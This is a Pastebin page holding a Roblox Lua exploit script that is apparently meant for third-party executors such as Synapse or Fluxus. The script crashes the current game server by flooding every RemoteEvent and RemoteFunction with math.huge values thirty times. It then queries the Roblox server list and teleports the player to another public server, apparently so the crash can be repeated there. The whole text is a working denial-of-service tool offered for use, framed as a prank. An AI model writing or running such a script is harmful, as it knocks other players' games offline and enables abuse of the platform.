Advertisement
UnknownCoolGuy

Crash Server Obby Creator (OVERPOWERED Good For Next April Fools Days)

Apr 6th, 2025
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.08 KB | None | 0 0
  1. -- made by water_hax
  2. local httprequest = (syn and syn.request) or (http and http.request) or http_request or (fluxus and fluxus.request) or request
  3. local TeleportService = game:GetService("TeleportService")
  4. local HttpService = game:GetService("HttpService")
  5. local JobId = game.JobId
  6. local PlaceId = game.PlaceId
  7. local Players = game.Players
  8.  
  9. local set = 3
  10.  
  11. local function CrashServer()
  12. for i,v in next, game:GetDescendants() do
  13. if v:IsA("RemoteEvent") then
  14. coroutine.wrap(function()
  15. v:FireServer(math.huge)
  16. end)()
  17. elseif v:IsA("RemoteFunction") then
  18. coroutine.wrap(function()
  19. v:InvokeServer(math.huge)
  20. end)()
  21. end
  22. end
  23. end
  24.  
  25. for k=1,30 do
  26. CrashServer()
  27. end
  28.  
  29. wait(set)
  30. -- credit to infinite yield for server hop script
  31. if httprequest then
  32. local servers = {}
  33. local success, req = pcall(function()
  34. return httprequest({Url = string.format("https://games.roblox.com/v1/games/%d/servers/Public?sortOrder=Desc&limit=100&excludeFullGames=true", PlaceId)})
  35. end)
  36.  
  37. if success and req then
  38. local body = HttpService:JSONDecode(req.Body)
  39.  
  40. if body and body.data then
  41. for _, a in pairs(body.data) do
  42. if type(a) == "table" and tonumber(a.playing) and tonumber(a.maxPlayers) and a.playing < a.maxPlayers and a.id ~= JobId then
  43. table.insert(servers, a.id)
  44. end
  45. end
  46. end
  47. else
  48. warn("error" .. (req or "No response"))
  49. end
  50.  
  51. if #servers > 0 then
  52. local success, err = pcall(function()
  53. TeleportService:TeleportToPlaceInstance(PlaceId, servers[math.random(1, #servers)], Players.LocalPlayer)
  54. end)
  55. if not success then
  56. warn("failed teleport no httpsync :cold: : " .. err)
  57. end
  58. else
  59. warn("did u crashed all the server? :sweat-smile.")
  60. end
  61. end
  62. -- End
  63.  
  64.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement